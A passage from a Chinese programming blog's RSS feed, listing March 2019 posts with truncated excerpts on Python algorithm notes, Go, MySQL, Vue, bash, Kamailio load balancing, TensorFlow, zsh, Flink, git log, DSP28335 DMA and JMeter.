      <guid>https://bchobby.github.io/posts/3c0daa32ef1f5983841bd01fa8a5366b/</guid>
      <description>def getValueFromStr(str1): &#34;&#34;&#34;给定字符串，字符串表示一个公式，可能有整数、加减乘除符号和左右括号，返回公式计算结果&#34;&#34;&#34; return valueProcess(str1, 0)[0] # 返回两个值：计算结果，计算到的位置 def valueProcess(str1, index): pre = 0 que = [] while index &amp;lt; len(str1) and str1[index] != &#39;)&#39;: if &#39;0&#39; &amp;lt;= str1[index] &amp;lt;= &#39;9&#39;: pre = pre * 10 + int(str1[index]) index += 1 elif str1[index] != &#34;(&#34;: # str1[index] 此时是 +-*/ addNum(que, pre) que.append(str1[index]) index += 1 pre = 0 else: # str1[index] 此时为 &#39;(&#39; bra = valueProcess(str1, index + 1) pre = bra[0] index = bra[1] + 1 addNum(que, pre) return getResult(que), index def addNum(que, num): if que !</description>
    </item>
    <item>
      <title>数据结构与算法--python学习笔记四(听了左神的课，自己整理的，左神还是强啊)</title>
      <link>https://bchobby.github.io/posts/5418260c33c5eb99a959aa37e655a749/</link>
      <pubDate>Mon, 25 Mar 2019 19:13:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5418260c33c5eb99a959aa37e655a749/</guid>
      <description>class AbstractBinarySearchTree(object): def __init__(self, pHead): self.root = pHead self.size = 0 def createNode(self, value, parent, left, right): self.newNode = withParentNode(value) self.newNode.parent = parent self.newNode.left = left self.newNode.right = right return self.newNode def search(self, element): node = self.root while node is not None and node.value is not None and node.value != element: if element &amp;lt; node.value: node = node.left else: node = node.right return node def insert(self, element): if self.root is None: self.</description>
    </item>
    <item>
      <title>数据结构与算法--python学习笔记三(听了左神的课，自己整理的，左神还是强啊)</title>
      <link>https://bchobby.github.io/posts/81a36c04aec57cdd01cd2b1a36d5ac06/</link>
      <pubDate>Mon, 25 Mar 2019 19:12:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/81a36c04aec57cdd01cd2b1a36d5ac06/</guid>
      <description>def hanoiProcess(n, fromStr, toStr, helpStr): if n == 1: print(&#34;Move 1 from &#34; + fromStr + &#39; to &#39; + toStr) else: hanoiProcess(n - 1, fromStr, helpStr, toStr) print(&#34;Move &#34; + str(n) + &#39; from &#39; + fromStr + &#39; to &#39; + toStr) hanoiProcess(n - 1, helpStr, toStr, fromStr) def printAllSub(str1, index, resultStr): &#34;&#34;&#34;打印字符串所有的子序列&#34;&#34;&#34; if index == len(str1): print(resultStr) return printAllSub(str1, index + 1, resultStr) printAllSub(str1, index + 1, resultStr + str1[index]) def minPath1(matrix): return minPath1Process(matrix, 0, 0) def minPath1Process(matrix, i, j): res = matrix[i][j] if i == len(matrix) - 1 and j == len(matrix[0]) - 1: return matrix[i][j] if i == len(matrix) - 1 and j !</description>
    </item>
    <item>
      <title>数据结构与算法--python学习笔记二(听了左神的课，自己整理的，左神还是强啊)</title>
      <link>https://bchobby.github.io/posts/3ff922398c140f1d48a88e5f7f1b51ba/</link>
      <pubDate>Mon, 25 Mar 2019 19:11:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ff922398c140f1d48a88e5f7f1b51ba/</guid>
      <description>class getCommonNode(object): &#34;&#34;&#34;返回两个单链表的第一个相交点&#34;&#34;&#34; def FindFirstCommonNode(self, pHead1, pHead2): loop1 = self.getLoopNode(pHead1) loop2 = self.getLoopNode(pHead2) if loop1 is None and loop2 is None: return self.noLoop(pHead1, pHead2) if loop1 is not None and loop2 is not None: return self.bothLoop(pHead1, pHead2, loop1, loop2) return None def getLoopNode(self, pHead): if pHead is None or pHead.next is None or pHead.next.next is None: return pHead slow = pHead.next fast = pHead.next.next while slow != fast: if fast.</description>
    </item>
    <item>
      <title>Go语言同一个包中不同文件之间函数调用</title>
      <link>https://bchobby.github.io/posts/338ca692be94cd29cd5820d5848b6145/</link>
      <pubDate>Mon, 25 Mar 2019 13:18:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/338ca692be94cd29cd5820d5848b6145/</guid>
      <description>定义了三个文件，在运行时发生了错误&#xA;错误&#xA;后来，经过以下修改，在run-&amp;gt;edit Configuration中&#xA;但是从新运行会有一个以下错误&#xA;点击 Continue Anyway程序可以正常运行，这里可能是package的路径填写不正确，目前不知道怎么填写</description>
    </item>
    <item>
      <title>切换ubuntu启动方式 命令行/图形界面</title>
      <link>https://bchobby.github.io/posts/f163517dfedaf1e0eef721c702e2e472/</link>
      <pubDate>Sat, 23 Mar 2019 22:32:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f163517dfedaf1e0eef721c702e2e472/</guid>
      <description> 默认命令行形式启动 sudo systemctl set-default multi-user.target reboot 临时使用一次图形界面进入 sudo systemctl start lightdm 默认图形界面启动 systemctl set-default graphical.target reboot </description>
    </item>
    <item>
      <title>解决 java.sql.SQLException: Unknown type &#39;246 in column 2 of 7 in binary-encoded result set错误</title>
      <link>https://bchobby.github.io/posts/97da4f2303601fd02b14c6db6e675d78/</link>
      <pubDate>Sat, 23 Mar 2019 16:57:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97da4f2303601fd02b14c6db6e675d78/</guid>
      <description>错误： java.sql.SQLException: Unknown type &#39;246 in column 2 of 7 in binary-encoded result set.&#xA;出错原因：mysql中某字段类型为decimal类型&#xA;解决方式：&#xA;法1：更换字段类型，但若需表示金额这些数字时此类型是首选，不想更换类型，则用方法2&#xA;法2：更换jar包，可以把mysql连接jar包更换为mysql-connector-java-5.0.8-bin.jar</description>
    </item>
    <item>
      <title>mysql查看库、表大小</title>
      <link>https://bchobby.github.io/posts/c5f49e92bb349ae22cb03825cbca3681/</link>
      <pubDate>Sat, 23 Mar 2019 14:37:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5f49e92bb349ae22cb03825cbca3681/</guid>
      <description>https://blog.csdn.net/bzfys/article/details/55252962</description>
    </item>
    <item>
      <title>alibaba的springcloud孵化器项目</title>
      <link>https://bchobby.github.io/posts/a83c8658c6a3daedca9968c9369194e2/</link>
      <pubDate>Fri, 22 Mar 2019 15:31:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a83c8658c6a3daedca9968c9369194e2/</guid>
      <description>Spring Cloud Alibaba 致力于提供微服务开发的一站式解决方案。此项目包含开发分布式应用微服务的必需组件，方便开发者通过 Spring Cloud 编程模型轻松使用这些组件来开发分布式应用服务。&#xA;依托 Spring Cloud Alibaba，您只需要添加一些注解和少量配置，就可以将 Spring Cloud 应用接入阿里微服务解决方案，通过阿里中间件来迅速搭建分布式应用系统。&#xA;主要功能 服务限流降级：默认支持 Servlet、Feign、RestTemplate、Dubbo 和 RocketMQ 限流降级功能的接入，可以在运行时通过控制台实时修改限流降级规则，还支持查看限流降级 Metrics 监控。服务注册与发现：适配 Spring Cloud 服务注册与发现标准，默认集成了 Ribbon 的支持。分布式配置管理：支持分布式系统中的外部化配置，配置更改时自动刷新。消息驱动能力：基于 Spring Cloud Stream 为微服务应用构建消息驱动能力。分布式事务：使用 @GlobalTransactional 注解， 高效并且对业务零侵入地解决分布式事务问题。。阿里云对象存储：阿里云提供的海量、安全、低成本、高可靠的云存储服务。支持在任何应用、任何时间、任何地点存储和访问任意类型的数据。分布式任务调度：提供秒级、精准、高可靠、高可用的定时（基于 Cron 表达式）任务调度服务。同时提供分布式的任务执行模型，如网格任务。网格任务支持海量子任务均匀分配到所有 Worker（schedulerx-client）上执行。阿里云短信服务：覆盖全球的短信服务，友好、高效、智能的互联化通讯能力，帮助企业迅速搭建客户触达通道。 项目地址：https://github.com/spring-cloud-incubator/spring-cloud-alibaba&#xA;转载于:https://www.cnblogs.com/yangzhilong/p/10578597.html</description>
    </item>
    <item>
      <title>Vue3中引入jquery</title>
      <link>https://bchobby.github.io/posts/abc000b1a73c544ffc7458ee1ce9bcff/</link>
      <pubDate>Fri, 22 Mar 2019 11:18:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/abc000b1a73c544ffc7458ee1ce9bcff/</guid>
      <description>vue3中引入jquery 由于我用vue创建项目之后并没有出现build文件夹，应该是vue3之后简化了，看了网上的一些教程都是要修改build文件下面的webpack文件，但是我没有找到&#xA;就想到一个方法，个人拙见，在main.js的文件中插入&#xA;import $ from &#39;jquery&#39; Vue.prototype.JQ = $ 然后在需要用到的地方使用this.JQ来调用&#xA;mounted: function () { this.JQ(document).ready(function () { console.log(&#39;11&#39;) }) } 以上方式是我一时之间想到的，好的方式如下&#xA;在vue.config.js文件中写入&#xA;const webpack = require(&#39;webpack&#39;) module.exports = { chainWebpack: config =&amp;gt; { config.plugin(&#39;provide&#39;).use(webpack.ProvidePlugin, [{ $: &#39;jquery&#39;, jquery: &#39;jquery&#39;, jQuery: &#39;jquery&#39;, &#39;window.jQuery&#39;: &#39;jquery&#39; }]) } } 然后就可以在任何地方应用$这个啦</description>
    </item>
    <item>
      <title>判断一个字符串是否在一个数组中</title>
      <link>https://bchobby.github.io/posts/80035757ef475c9e30d421e1f0ec8e73/</link>
      <pubDate>Fri, 22 Mar 2019 11:03:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80035757ef475c9e30d421e1f0ec8e73/</guid>
      <description> 测试test是否在ARR数组中 if echo &#34;${ARR[@]}&#34; | grep -w &#34;test&#34; &amp;amp;&amp;gt;/dev/null; then echo &#34;Found&#34; fi 打印出 bf_db_list中不包含default_table中的内容&#xA;bf_db_list=($(mysql --defaults-extra-file=./mysql-bf.cfg -e &#34;show databases&#34;)) default_table=(Database information_schema mysql performance_schema) for a in ${bf_db_list[@]} do echo &#34;${default_table[@]}&#34; | grep -w &#34;$a&#34; &amp;amp;&amp;gt;/dev/null || echo $a done </description>
    </item>
    <item>
      <title>Kamailio负载均分配置</title>
      <link>https://bchobby.github.io/posts/5eb8a2a7f001f92a47e911139683e7a3/</link>
      <pubDate>Thu, 21 Mar 2019 09:36:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5eb8a2a7f001f92a47e911139683e7a3/</guid>
      <description>根据不同的目的，Kamailio提供了不同的模块完成各种消息分发策略。比如LCR模块，dispatcher模块。本文描述怎样利用dispatcher模块实现SIP消息的负载均分。&#xA;假设kamailio安装在/usr/local/kamailio/目录下。&#xA;添加dispatcher.list 在/usr/local/kamailio/etc/kamailio下添加dispatcher.list文件并编辑它，内容：&#xA;# line format # setid(int) destination(sip uri) flags(int,opt) priority(int,opt) attributes(str,opt) 1 sip:192.168.1.8:5060 1 sip:192.168.1.9:5060 说明：dispatcher支持从数据库里配置，也支持从配置文件里配置，这里选择配置文件。&#xA;配置里面的setid很重要，后面的配置脚本里会用到，每个ID表示一组，可以配置多个不同的分发组。&#xA;这里假设需要分发给两个处理节点，IP分别中192.168.1.8和192.168.1.9&#xA;dispatcher.list文件的位置可以放在你自己习惯的位置。&#xA;配置kamailio.cfg 编辑kamailio.cfg文件：&#xA;在模块加载区域里添加一行：&#xA;loadmodule &#34;dispatcher.so&#34; 在模块参数区域（# ----------------- setting module-specific parameters ---------------）里添加dispatcher模块的配置：&#xA;# ----- dispatcher params -----&#xA;modparam(&#34;dispatcher&#34;, &#34;list_file&#34;, &#34;/usr/local/kamailio/etc/kamailio/dispatcher.list&#34;) modparam(&#34;dispatcher&#34;, &#34;force_dst&#34;, 1) 在request_route段的route(LOCATION);前添加以下内容 # dispatch destinations route(DISPATCH); 在kamailio.cfg的文件末尾添加路由定义：&#xA;# Dispatch requests route[DISPATCH] { # round robin dispatching on gateways group &#39;1&#39; if(!ds_select_dst(&#34;1&#34;, &#34;4&#34;)) { send_reply(&#34;404&#34;, &#34;No destination&#34;); exit; } xdbg(&#34;</description>
    </item>
    <item>
      <title>tfrecord数据集读取问题，tf.image.decode_image解码前后出现数值不一样</title>
      <link>https://bchobby.github.io/posts/a39c0000da3e7314053a2ac1986d5060/</link>
      <pubDate>Wed, 20 Mar 2019 20:34:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a39c0000da3e7314053a2ac1986d5060/</guid>
      <description> 问题描述：&#xA;自己制作的图像分割label.png，二进制编码打开png图像源文件后，标签全部变为0&#xA;原因：&#xA;制作标签时，注意图像的存储模式，是RGB还是灰度模式（L）&#xA;from PIL import Image import tensorflow as tf import numpy as np #img_path=&#39;F:\\VOC2012\\SegmentationClassAug\\2007_000032.png&#39; img_path=&#39;00.png&#39; #原label.png img=Image.open(img_path) img_array=np.asarray(img) print(&#39;1&#39;) print(np.sum(np.int32(img_array==1))) #二进制打开png图片，再解码 with tf.gfile.GFile(img_path, &#39;rb&#39;) as fid: encoded_jpg0 = fid.read() with tf.Session() as s: label0 = tf.image.decode_image(encoded_jpg0,1) #label0=tf.decode_raw(encoded_jpg0,out_type=tf.uint8) print(&#39;2&#39;) print(np.sum(np.int32(s.run(label0)==1))) #原label.png img=Image.open(img_path).convert(&#39;L&#39;) img.save(&#39;01.png&#39;) img_path1=&#39;01.png&#39; #二进制打开png图片，再解码 with tf.gfile.GFile(img_path1, &#39;rb&#39;) as fid: encoded_jpg0 = fid.read() with tf.Session() as s: label0 = tf.image.decode_image(encoded_jpg0,1) print(&#39;3&#39;) print(np.sum(np.int32(s.run(label0)==1))) 1 866 2 0 3 866 </description>
    </item>
    <item>
      <title>mac iTerm2与vscode使用zsh的配置</title>
      <link>https://bchobby.github.io/posts/b941a3ae25a8f4f05686ffa9e6d7ae60/</link>
      <pubDate>Wed, 20 Mar 2019 12:26:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b941a3ae25a8f4f05686ffa9e6d7ae60/</guid>
      <description>oh-my-zsh 如果你使用Linux操作系统，那就免不了要和终端打交道，而shell是与系统交互的外壳，也是Linux的精髓，通常系统默认安装的shell是bash.&#xA;（一）oh-my-zsh是什么 Oh My Zsh是一款社区驱动的命令行工具，正如它的主页上说的，Oh My Zsh 是一种生活方式。它基于zsh命令行，提供了主题配置，插件机制，已经内置的便捷操作。给我们一种全新的方式使用命令行。&#xA;Oh My Zsh这个名字听起来就很有意思，它是基于zsh命令行的一个扩展工具集，提供了丰富的扩展功能。&#xA;Oh My Zsh只是一个对zsh命令行环境的配置包装框架，但它不提供命令行窗口，更不是一个独立的APP。&#xA;（二）oh-my-zsh优点 1.兼容bash，原来使用bash的兄弟切换过来毫无压力。&#xA;2.默认显示项目当前路径与分支，可配置多种主题&#xA;3.强大的历史纪录功能，在用或者方向上键查找历史命令时，zsh支持限制查找。比如输入ls然后再按方向上键,则只会查找用过的ls命令。而此时使用则会仍然按之前的方式查找，忽略ls。&#xA;4.多个终端会话共享历史记录。经常有多个窗口，tab，tmux的多个session，panel。这些命令历史不能共享实在是很糟糕的回忆。但是有了zsh之后，这些确实成了回忆了,所有的命令历史都可以共享。&#xA;5.智能拼写纠正，输入gtep mactalk * -R，系统会提示：zsh: correct ‘gtep’ to ‘grep’ [nyae]?d&#xA;6.各种补全：路径补全、命令补全，命令参数补全，插件内容补全等等。触发补全只需要按一下或两下tab键，补全项可以使用ctrl+n/p/f/b上下左右切换。比如你想杀掉java的进程，只需要输入kill java + tab键，如果只有一个java进程，zsh 会自动替换为进程的 pid，如果有多个则会出现选择项供你选择。ssh+空格+两个tab键，zsh会列出所有访问过的主机和用户名进行补全&#xA;7.智能跳转，安装了autojump之后，zsh 会自动记录你访问过的目录，通过 j + 目录名 可以直接进行目录跳转，而且目录名支持模糊匹配和自动补全，例如你访问过hadoop-1.0.0目录，输入j hado 即可正确跳转。j –stat 可以看你的历史路径库。&#xA;8.目录浏览和跳转：输入 d，即可列出你在这个会话里访问的目录列表，输入列表前的序号，即可直接跳转。&#xA;9.在当前目录下输入 … 或 … ，或直接输入当前目录名都可以跳转，你甚至不再需要输入cd命令了。&#xA;10.通配符搜索：ls -l **/*.sh，可以递归显示当前目录下的 shell 文件，文件少时可以代替find，文件太多还是用find。&#xA;（三）安装oh-my-zsh 地址：https://ohmyz.sh/&#xA;查看系统当前使用的shell $ echo $SHELL /bin/bash 查看系统是否安装了zsh $ cat /etc/shells /bin/sh /bin/bash /sbin/nologin /usr/bin/sh /usr/bin/bash /usr/sbin/nologin /bin/tcsh /bin/csh 安装 (1).</description>
    </item>
    <item>
      <title>网易 Airtest Project 自动化测试框架学习（一）</title>
      <link>https://bchobby.github.io/posts/dde9870b5df67a1fbca0767ff97f2538/</link>
      <pubDate>Tue, 19 Mar 2019 19:06:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dde9870b5df67a1fbca0767ff97f2538/</guid>
      <description>写在最前面的，个人学习参照该官方文档：http://airtest.netease.com/docs/docs_AirtestIDE-zh_CN/&#xA;官方文档其实已经讲的很详细了，本次只记录官方文档未涉及或者没有详细讲解的地方，以及个人采坑全过程。&#xA;1.这是一个写 UI 自动化的框架，语言使用python ，官方推荐我们使用3.X&#xA;2.初衷是为了自动化测试app 游戏的，目的是让我们测试的脚本，脱离手机性能，兼容性等束缚的一个自由框架（前景看好）&#xA;3.入门要求低，但要写出严谨和优雅的脚本还是需要经验和语言基础。持续打副本中。。。&#xA;4.网易提供了一个 编辑器airtest IDE&#xA;优点：内部自带了airtest 插件和Poco 插件，更有录制的功能，用过SeleniumIDE 的同学都知道，录完的脚本不堪直视啊。但是此录制非彼录制，谁用谁知道。&#xA;缺点：无法查看源码实现。或者当前个人还么有把该ide 用熟悉。另外不能自定义风格哈哈&#xA;不扯了，入正题：&#xA;1.个人使用的夜神模拟器，第一天远程连接：adb connect 127.0.0.1:62001 正常使用，但是第二天发现使用这个端口连接不上了，多连接了几次系统还崩溃了。（说到这里，这说的只是该ide 崩溃,在此之前使用的是木木模拟器，特么直接搞的我 新买的高配 拯救者 都宕机了。个人推荐夜神，可以模拟位置，比如签到打卡哈哈，某些办公软件自动绕过，请给普通员工一点活路）&#xA;解决办法：在进程中查看当前模拟器的pid&#xA;cmd 中查询：netstat -ano|findstr 14972&#xA;使用adb 命令测试连接：adb connect 127.0.0.1:52001，连接成功！&#xA;持续更新。。</description>
    </item>
    <item>
      <title>flink文档之window操作</title>
      <link>https://bchobby.github.io/posts/a8629fb2cdf35f1ef953c464172a25b9/</link>
      <pubDate>Mon, 18 Mar 2019 20:13:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8629fb2cdf35f1ef953c464172a25b9/</guid>
      <description>文章目录 WindowsWindow 的生命周期分组和非分组Windows (Keyed vs Non-Keyed Windows)窗口分配器(Window Assingers)滚动窗口滑动窗口会话窗口(Session Windows)全局窗口(Global Windows)窗口函数(Window Functions)1、ReduceFunction2、AggregateFunction3、FoldFunction4、ProcessWindowFunction5、ProcessWindowFunction with Incremental Aggregation6、Incremental Window Aggregation with ReduceFunction7、Incremental Window Aggregation with AggregateFunction8、Incremental Window Aggregation with FoldFunction Using per-window state in ProcessWindowFunctionTriggers触发器Fire and Purge 触发和清除Default Triggers of WindowAssigners 窗口分配中的默认触发器内置的和自定义的触发器(Build-in and Custom Triggers)Evictors驱逐器允许延迟(Allowed Lateness)以侧输出来获取延迟数据(Getting Late Data as a Site Output)延迟元素考虑Late elements considerations使用窗口结果Working with window results水印和窗户的互动 Interaction of watermarks and windows连续窗口操作 Consecutive windowed operations使用状态大小的考虑(Useful state size considerations) 初学flink和第一次进行博客编写，决定从文档看起，以及附上从各位博主总结来的内容。主要作用是督促自己养成读文档，记录博客的习惯以及记录下自己在学习、实际生产过程中的心得，记录下来留给需要之时参考，如有错误还请批评指正。 原文： flink 1.7文档 本文多部分引用自 简书上一位大大：写Bug的张小天 Windows Window是无限数据流处理的核心，Window将一个无限的stream拆分成有限大小的桶(buckets)，我们可以在这些桶上做计算操作。本文主要聚焦于在Flink中如何进行窗口操作，以及程序员如何从window提供的功能中获得最大的收益。</description>
    </item>
    <item>
      <title>git log命令常用参数集合</title>
      <link>https://bchobby.github.io/posts/686bdae2cf7f6730c12312aac6bb1307/</link>
      <pubDate>Mon, 18 Mar 2019 16:19:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/686bdae2cf7f6730c12312aac6bb1307/</guid>
      <description>git log 查看 提交历史&#xA;默认不用任何参数的话，git log 会按提交时间列出所有的更新，最近的更新排在最上面。&#xA;常用的格式占位符写法及其代表的意义。&#xA;选项 说明&#xA;%H 提交对象（commit）的完整哈希字串&#xA;%h 提交对象的简短哈希字串&#xA;%T 树对象（tree）的完整哈希字串&#xA;%t 树对象的简短哈希字串&#xA;%P 父对象（parent）的完整哈希字串&#xA;%p 父对象的简短哈希字串&#xA;%an 作者（author）的名字&#xA;%ae 作者的电子邮件地址&#xA;%ad 作者修订日期（可以用 -date= 选项定制格式）&#xA;%ar 作者修订日期，按多久以前的方式显示&#xA;%cn 提交者(committer)的名字&#xA;%ce 提交者的电子邮件地址&#xA;%cd 提交日期&#xA;%cr 提交日期，按多久以前的方式显示&#xA;%s 提交说明&#xA;-p 按补丁格式显示每个更新之间的差异。&#xA;--stat 显示每次更新的文件修改统计信息。&#xA;--shortstat 只显示 --stat 中最后的行数修改添加移除统计。&#xA;--name-only 仅在提交信息后显示已修改的文件清单。&#xA;--name-status 显示新增、修改、删除的文件清单。&#xA;--abbrev-commit 仅显示 SHA-1 的前几个字符，而非所有的 40 个字符。&#xA;--relative-date 使用较短的相对时间显示（比如，“2 weeks ago”）。&#xA;--graph 显示 ASCII 图形表示的分支合并历史。&#xA;--pretty 使用其他格式显示历史提交信息。可用的选项包括 oneline，short，full，fuller 和 format（后跟指定格式）。</description>
    </item>
    <item>
      <title>DSP28335入门教程：ADC to DMA 后篇</title>
      <link>https://bchobby.github.io/posts/9bc518fde3e19930326f558b7bb35674/</link>
      <pubDate>Mon, 18 Mar 2019 14:56:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9bc518fde3e19930326f558b7bb35674/</guid>
      <description>好，接着ADC to DMA 前篇我们继续，后篇主要是举例子加以理解这三个函数：&#xA;DMACH1BurstConfig(3,1,10); //burst传输 DMACH1TransferConfig(9,1,0); //transfer传输 DMACH1WrapConfig(1,0,0,1); //wrap传输 还是上一个程序：&#xA;#include &#34;DSP28x_Project.h&#34; // Device Headerfile and Examples Include File #define ADC_CKPS 0x1 // ADC module clock = HSPCLK/2*ADC_CKPS = 25.0MHz/(1*2) = 12.5MHz #define ADC_SHCLK 0xf // S/H width in ADC module periods = 16 ADC clocks #define BUF_SIZE 40 // Sample buffer size // Global variable for this example Uint16 j=0; #pragma DATA_SECTION(DMABuf1,&#34;DMARAML4&#34;); volatile Uint16 DMABuf1[BUF_SIZE]; volatile Uint16 *pDMADest; volatile Uint16 *pDMASource; __interrupt void local_DINTCH1_ISR(void); void main(void) { Uint16 i; // step 1.</description>
    </item>
    <item>
      <title>C&#43;&#43;如何定义一个长度超过一百万的数组</title>
      <link>https://bchobby.github.io/posts/4848047c82cdb7c7f3cc8cb9cb8f2ab7/</link>
      <pubDate>Mon, 18 Mar 2019 14:14:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4848047c82cdb7c7f3cc8cb9cb8f2ab7/</guid>
      <description> 在C++中若要设置长度大于1000000的数组，不能在函数内部声明，因为这样属于局部变量，存放在了栈上，容易造成内存溢出。&#xA;解决这个问题有两种办法：&#xA;1.将数组声明为全局变量：&#xA;#include&amp;lt;iostream&amp;gt; using namespace std; int list[1000000]; //声明为全局变量 int main(){ int n; cin&amp;gt;&amp;gt;n; for(int i=0;i&amp;lt;n;i++){ cin&amp;gt;&amp;gt;list[i]; } /**** *****/ return 0; } 2.将数组存放在堆上：&#xA;#include&amp;lt;iostream&amp;gt; using namespace std; int main(){ int *list = new int[1000000]; //存放在堆上 int n; cin&amp;gt;&amp;gt;n; for(int i=0;i&amp;lt;n;i++) cin&amp;gt;&amp;gt;a[i]; /*** ***/ return 0; } </description>
    </item>
    <item>
      <title>用Endnote在word中插入文献出现{Xu, 1997 #407}等样式的错误的解决方法如下</title>
      <link>https://bchobby.github.io/posts/7d6a6075e1de408caeedd562eb766e8d/</link>
      <pubDate>Mon, 18 Mar 2019 13:58:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d6a6075e1de408caeedd562eb766e8d/</guid>
      <description>1.将Instant Formatting 由Off设置为On&#xA;2.弹出的对话框，点击ignore all&#xA;参考： https://blog.csdn.net/coberup/article/details/82525988</description>
    </item>
    <item>
      <title>DSP28335入门教程：ADC to DMA 前篇(官方例程Example_2833xAdcToDMA的分析)</title>
      <link>https://bchobby.github.io/posts/82d6570f466d495d994dd4af9235f130/</link>
      <pubDate>Sun, 17 Mar 2019 23:33:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/82d6570f466d495d994dd4af9235f130/</guid>
      <description>前言 DSP28335的官方例程其实是比较不错的，基本上各个功能都涉及到。（有没有人第一反应就是：哦，官方例程去哪里下载啊，我去TI官网找了几天都找不到？老笨觉得很多人都还不知道，DSP28335官方例程的下载方法，见《DSP28335入门教程：官方例程的下载》）&#xA;主题 本文就说说Example_2833xAdcToDMA这个例程，有些地方它默认你都懂了，没有举更多的例子来帮助理解，恰恰是这些地方就可能让人百思不得解，就比如接下来要登场的这三个函数：&#xA;DMACH1BurstConfig(3,1,10); //burst传输 DMACH1TransferConfig(9,1,0); //transfer传输 DMACH1WrapConfig(1,0,0,1); //wrap传输 正文 涉及到硬件电路的连接，老笨习惯先上原理图：&#xA;好，按照常规操作，接下来再看程序，先看全局再看细节，先上完整的程序：&#xA;#include &#34;DSP28x_Project.h&#34; // Device Headerfile and Examples Include File #define ADC_CKPS 0x1 // ADC module clock = HSPCLK/2*ADC_CKPS = 25.0MHz/(1*2) = 12.5MHz #define ADC_SHCLK 0xf // S/H width in ADC module periods = 16 ADC clocks #define BUF_SIZE 40 // Sample buffer size // Global variable for this example Uint16 j=0; #pragma DATA_SECTION(DMABuf1,&#34;DMARAML4&#34;); volatile Uint16 DMABuf1[BUF_SIZE]; volatile Uint16 *pDMADest; volatile Uint16 *pDMASource; __interrupt void local_DINTCH1_ISR(void); void main(void) { Uint16 i; // step 1.</description>
    </item>
    <item>
      <title>Go语言函数声明语法：函数名之前括号中的内容</title>
      <link>https://bchobby.github.io/posts/bf399edcecddc25f9df4f25f910c112e/</link>
      <pubDate>Sun, 17 Mar 2019 21:45:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf399edcecddc25f9df4f25f910c112e/</guid>
      <description>func ( x DDDD) FOO(var type) ( ret type , err Errot)&#xA;也就是说 x DDDD是什么意思.&#xA;func (h handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { ... } 这意味着ServeHTTP不是一个独立的功能。函数名称前面的括号是Go定义这些函数将在其上运行的对象的方式。所以，本质上ServeHTTP是一个类型处理程序的方法，可以使用类型处理程序的任何对象来调用，比如h。&#xA;他们也被称为接收者。这里是定义他们的方法有两种。如果你想修改接收器，使用如下的指针：&#xA;func (s *MyStruct) pointerMethod() { } // method on pointer 如果你不需要修改接收器，则可以将接收器定义为如下值：&#xA;func (s MyStruct) valueMethod() { } // method on value Go的这个例子展示了这个概念。&#xA;package main import &#34;fmt&#34; type Mutatable struct { a int b int } func (m Mutatable) StayTheSame() { m.a = 5 m.</description>
    </item>
    <item>
      <title>jmeter教程（二十）：性能测试执行及结果分析</title>
      <link>https://bchobby.github.io/posts/c4b531bc25eea66c883f0097182fc31b/</link>
      <pubDate>Sun, 17 Mar 2019 15:28:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c4b531bc25eea66c883f0097182fc31b/</guid>
      <description>做性能测试，先是根据策略编写脚本，然后才是执行脚本，现在我已经编写好了脚本，一个最简单的脚本&#xA;然后保存，运行，在察看结果树里，可以看到正确的响应结果&#xA;现在，启一个线程让这个脚本一直循环运行，查看运行情况，因为是循环运行，HTTP请求，会执行很多次，而这些结果都在察看结果树里显示出来，就不是很好，所以在察看结果里里勾上，只显示错误的请求信息&#xA;然后线程组配置成永远循环，调度器设置成60秒，我这里只是演示，就不去跑10分钟了&#xA;配置好保存，清除之前的结果，之后就开始运行&#xA;右上角，小框框里面显示的是脚本的运行时间，小三角形前面的数字，代表jmeter运行过程中的异常数，这个异常数和脚本里的错误是两码事。比如连接不上服务器，这里就会有异常。小圈圈前的0/1代表当前正在运行的线程数和脚本运行中的最大线程数，因为现在脚本已经停止运行了，所以没有线程在运行，所以前面就是0。而且我的脚本运行时，只启了一个线程，所以最大线程数就是1。在察看结果树里，没有结果输出，代表没有错误的请求，重点看聚合报告&#xA;Label：是请求的名称&#xA;#Samples：在脚本运行过程中，一共发了多少个请求&#xA;Average：平均响应时间，服务器处理一个请求需要多少时间的平均值，单位：毫秒&#xA;Median：响应时间的中间值，就是所有请求的响应时间从小到大排个序，正中间的那个值是多少&#xA;90%Line：响应时间从小到大排序，在第90%位置处的值是多少，比如一共发了10000个请求，那么就是第9000个的值&#xA;95%Line、99%Line同上&#xA;Min：最小响应时间，就是所有请求中响应时间最短的那一个&#xA;Max：最大响应时间，就是所有请求中响应时间最长的那一个&#xA;Error 